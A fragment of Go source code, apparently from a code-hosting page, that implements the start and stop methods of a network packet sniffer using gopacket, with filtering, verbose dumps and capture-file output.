if s.Running() == false {
|
||||
var err error
|
||||
var ctx *SnifferContext
|
||||
|
||||
if err, ctx = s.GetContext(); err != nil {
|
||||
if ctx != nil {
|
||||
ctx.Close()
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
s.SetRunning(true)
|
||||
|
||||
go func() {
|
||||
defer ctx.Close()
|
||||
|
||||
log.Info("Network sniffer started.\n")
|
||||
ctx.Log()
|
||||
|
||||
src := gopacket.NewPacketSource(ctx.Handle, ctx.Handle.LinkType())
|
||||
for packet := range src.Packets() {
|
||||
if s.Running() == false {
|
||||
break
|
||||
}
|
||||
|
||||
if ctx.DumpLocal == true || s.isLocalPacket(packet) == false {
|
||||
data := packet.Data()
|
||||
if ctx.Compiled == nil || ctx.Compiled.Match(data) == true {
|
||||
if ctx.Verbose {
|
||||
fmt.Println(packet.Dump())
|
||||
}
|
||||
|
||||
if ctx.OutputWriter != nil {
|
||||
ctx.OutputWriter.WritePacket(packet.Metadata().CaptureInfo, data)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
log.Info("Network sniffer stopped.\n")
|
||||
}()
|
||||
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network sniffer already started.")
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Sniffer) Stop() error {
|
||||
if s.Running() == true {
|
||||
s.SetRunning(false)
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network sniffer already stopped.")
|
||||
}
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue